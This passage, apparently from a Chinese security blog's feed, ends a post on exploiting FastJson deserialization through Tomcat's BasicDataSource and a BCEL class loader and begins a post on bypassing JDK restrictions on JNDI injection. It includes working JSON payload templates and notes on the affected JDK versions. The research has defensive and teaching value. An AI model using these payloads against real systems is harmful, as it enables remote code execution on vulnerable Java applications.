<p>首先,在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。</p>
<p>然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">com</span><span class="o">.</span><span class="na">alibaba</span><span class="o">.</span><span class="na">fastjson</span><span class="o">.</span><span class="na">parser</span><span class="o">.</span><span class="na">DefaultJSONParser</span><span class="o">.</span><span class="na">parseObject</span>
<span class="n">DefaultJSONParser</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">436</span>
<span class="k">if</span> <span class="o">(</span><span class="n">object</span><span class="o">.</span><span class="na">getClass</span><span class="o">()</span> <span class="o">==</span> <span class="n">JSONObject</span><span class="o">.</span><span class="na">class</span><span class="o">)</span> <span class="o">{</span>
<span class="n">key</span> <span class="o">=</span> <span class="o">(</span><span class="n">key</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">?</span> <span class="s">"null"</span> <span class="o">:</span> <span class="n">key</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>
<p>于是乎就触发了 BasicDataSource.getConnection()。PoC最完整的写法应该是:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.alibaba.fastjson.JSONObject"</span><span class="p">,</span><span class="w">
</span><span class="s2">"x"</span><span class="p">:{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span><span class="p">,</span><span class="w">
</span><span class="s2">"driverClassLoader"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="s2">"driverClassName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"$$BCEL$$$l$8b$I$A$..."</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}:</span><span class="w"> </span><span class="s2">"x"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>当然,如果目标环境的开发者代码中是调用的是 JSON.parseObject() ,那就不用这么麻烦了。与 parse() 相比,parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter 和 getter 方法。</p>
<p>所以对于 JSON.parseObject(),直接传入这样的Payload也能触发:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span><span class="p">,</span><span class="w">
</span><span class="s2">"driverClassLoader"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="s2">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="s2">"driverClassName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"$$BCEL$$$l$8b......"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<h3 id="0x052--tips">0x05.2 Tips</h3>
<p>BasicDataSource类在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource。</p>
<p>比如:6.0.53、7.0.81等版本。MVN 依赖写法如下:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp --&gt;</span>
<span class="nt">&lt;dependency&gt;</span>
<span class="nt">&lt;groupId&gt;</span>org.apache.tomcat<span class="nt">&lt;/groupId&gt;</span>
<span class="nt">&lt;artifactId&gt;</span>dbcp<span class="nt">&lt;/artifactId&gt;</span>
<span class="nt">&lt;version&gt;</span>6.0.53<span class="nt">&lt;/version&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>
<p>在Tomcat 8.0之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,所以构造PoC的时候需要注意一下。
MVN依赖写法如下:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp --&gt;</span>
<span class="nt">&lt;dependency&gt;</span>
<span class="nt">&lt;groupId&gt;</span>org.apache.tomcat<span class="nt">&lt;/groupId&gt;</span>
<span class="nt">&lt;artifactId&gt;</span>tomcat-dbcp<span class="nt">&lt;/artifactId&gt;</span>
<span class="nt">&lt;version&gt;</span>9.0.8<span class="nt">&lt;/version&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>
<p><a href="https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html">Java动态类加载,当FastJson遇到内网</a> was originally published by KINGX at <a href="https://kingx.me">KINGX</a> on December 31, 2019.</p>
</content>
</entry>
<entry>
<title type="html"><![CDATA[如何绕过高版本JDK的限制进行JNDI注入利用]]></title>
<link rel="alternate" type="text/html" href="https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html" />
<id>https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE</id>
<published>2019-06-03T00:00:00-04:00</published>
<updated>2019-06-03T00:00:00-04:00</updated>
<author>
<name>KINGX</name>
<uri>https://kingx.me</uri>
<email>root#kingx.me</email>
</author>
<content type="html">
<h2 id="写在前面">写在前面</h2>
<p>Java JNDI注入有很多种不同的利用载荷,而这些Payload分别会面临一些限制。笔者在实际测试过程中也遇到过很多有限制的情况,这里做个梳理并分享下如何绕过这些限制。关于JNDI注入和RMI的基础知识,可以在我之前的文章《深入理解JNDI注入与Java反序列化漏洞利用》中获取。我们先看看JDK对各种Payload有什么限制:</p>
<h3 id="1-rmi-remote-object-payload限制较多不常使用">1. RMI Remote Object Payload(限制较多,不常使用)</h3>
<p>攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的 java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。利用条件如下:</p>
<ol>
<li>RMI客户端的上下文环境允许访问远程Codebase。</li>
<li>属性 java.rmi.server.useCodebaseOnly 的值必需为false。</li>
</ol>
<p>然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。</p>
<p>Changelog:</p>
<ul>
<li>JDK 6u45 <a href="https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html">https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html</a></li>
<li>JDK 7u21 <a href="http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html">http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html</a></li>
</ul>
<h3 id="2-rmi--jndi-reference-payload">2. RMI + JNDI Reference Payload</h3>
<p>这也是我们在《深入理解JNDI注入与Java反序列化漏洞利用》中主要讨论的利用方式。攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用。</p>
<p>但是在<s>JDK 6u132, JDK 7u122, JDK 8u113</s> JDK 6u141, JDK 7u131, JDK 8u121 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。</p>
<blockquote>
<p>注:上一段中JDK小版本号与下文Changelog对应的JDK小版本号不匹配,已更正,感谢@Satan指出~</p>
</blockquote>
<blockquote>
<p>想了解Java所有历史版本信息,可以移步:https://en.wikipedia.org/wiki/Java_version_history</p>
</blockquote>
<p>Changelog:</p>
<ul>
<li>JDK 6u141 <a href="http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141">http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141</a></li>
<li>JDK 7u131 <a href="http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html">http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html</a></li>
<li>JDK 8u121 <a href="http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html">http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html</a></li>
</ul>
<h3 id="3-ldap--jndi-reference-payload">3. LDAP + JNDI Reference Payload</h3>
<p>除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。</p>
<p>不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。</p>
<h3 id="4-绕过jdk-8u191等高版本限制">4. 绕过JDK 8u191+等高版本限制</h3>
<p>所以对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:</p>
<ol>
<li>找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。</li>
<li>利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。</li>
</ol>
<p>这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。我们先来看一些基本概念,然后再分析这两种绕过方法。</p>
<h2 id="关于codebase">关于Codebase</h2>
<p>Oracle官方关于Codebase的说明:<a href="https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html">https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html</a></p>
<p>Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。</p>
<p>当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase 来设置Codebase。</p>
<p>例如,如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件):</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-Djava.rmi.server.codebase=http://url:8080/
</code></pre></div></div>
<p>当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件: </p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://url:8080/com/project/test.class
</code></pre></div></div>
<h2 id="关于jndi-naming-reference的限制">关于JNDI Naming Reference的限制</h2>
<p>如前文所述,JDK 7u21开始,java.rmi.server.useCodebaseOnly 默认值就为true,防止RMI客户端VM从其他Codebase地址上动态加载类。然而JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading,它最终是通过URLClassLoader加载的远程类。</p>
<p>NamingManager.java</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">static</span> <span class="n">ObjectFactory</span> <span class="nf">getObjectFactoryFromReference</span><span class="o">(</span><span class="n">Reference</span> <span class="n">ref</span><span class="o">,</span> <span class="n">String</span> <span class="n">factoryName</span><span class="o">)</span>
<span class="kd">throws</span> <span class="n">IllegalAccessException</span><span class="o">,</span>
<span class="n">InstantiationException</span><span class="o">,</span>
<span class="n">MalformedURLException</span> <span class="o">{</span>
<span class="n">Class</span><span class="o">&lt;?&gt;</span> <span class="n">clas</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="c1">// Try to use current class loader</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">clas</span> <span class="o">=</span> <span class="n">helper</span><span class="o">.</span><span class="na">loadClass</span><span class="o">(</span><span class="n">factoryName</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="n">ClassNotFoundException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// ignore and continue</span>
<span class="c1">// e.printStackTrace();</span>
<span class="o">}</span>
<span class="c1">// All other exceptions are passed up.</span>
<span class="c1">// Not in class path; try to use codebase</span>
<span class="n">String</span> <span class="n">codebase</span><span class="o">;</span>
<span class="k">if</span> <span class="o">(</span><span class="n">clas</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span>
<span class="o">(</span><span class="n">codebase</span> <span class="o">=</span> <span class="n">ref</span><span class="o">.</span><span class="na">getFactoryClassLocation</span><span class="o">())</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">clas</span> <span class="o">=</span> <span class="n">helper</span><span class="o">.</span><span class="na">loadClass</span><span class="o">(</span><span class="n">factoryName</span><span class="o">,</span> <span class="n">codebase</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="n">ClassNotFoundException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="k">return</span> <span class="o">(</span><span class="n">clas</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">?</span> <span class="o">(</span><span class="n">ObjectFactory</span><span class="o">)</span> <span class="n">clas</span><span class="o">.</span><span class="na">newInstance</span><span class="o">()</span> <span class="o">:</span> <span class="kc">null</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<p>代码中会先尝试在本地CLASSPATH中加载类,不行再从Codebase中加载,Codebase的值是通过ref.getFactoryClassLocation()获得。</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="n">Class</span><span class="o">&lt;?&gt;</span> <span class="n">loadClass</span><span class="o">(</span><span class="n">String</span> <span class="n">className</span><span class="o">,</span> <span class="n">String</span> <span class="n">codebase</span><span class="o">)</span>
<span class="kd">throws</span> <span class="n">ClassNotFoundException</span><span class="o">,</span> <span class="n">MalformedURLException</span> <span class="o">{</span>
<span class="n">ClassLoader</span> <span class="n">parent</span> <span class="o">=</span> <span class="n">getContextClassLoader</span><span class="o">();</span>
<span class="n">ClassLoader</span> <span class="n">cl</span> <span class="o">=</span>
<span class="n">URLClassLoader</span><span class="o">.</span><span class="na">newInstance</span><span class="o">(</span><span class="n">getUrlArray</span><span class="o">(</span><span class="n">codebase</span><span class="o">),</span> <span class="n">parent</span><span class="o">);</span>
<span class="k">return</span> <span class="nf">loadClass</span><span class="o">(</span><span class="n">className</span><span class="o">,</span> <span class="n">cl</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>
<p>最后通过 VersionHelper12.loadClass() 中 URLClassLoader 加载了远程class。所以java.rmi.server.useCodebaseOnly不会限制JNDI Reference的利用,有影响的是高版本JDK中的这几个系统属性:</p>
<ul>
<li>com.sun.jndi.rmi.object.trustURLCodebase</li>
<li>com.sun.jndi.cosnaming.object.trustURLCodebase</li>
<li>com.sun.jndi.ldap.object.trustURLCodebase</li>
</ul>
<p>做个实验,我们在JDK1.8.0_181下使用 RMI Server 构造恶意的JNDI Reference进行JNDI注入,报错如下:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
</code></pre></div></div>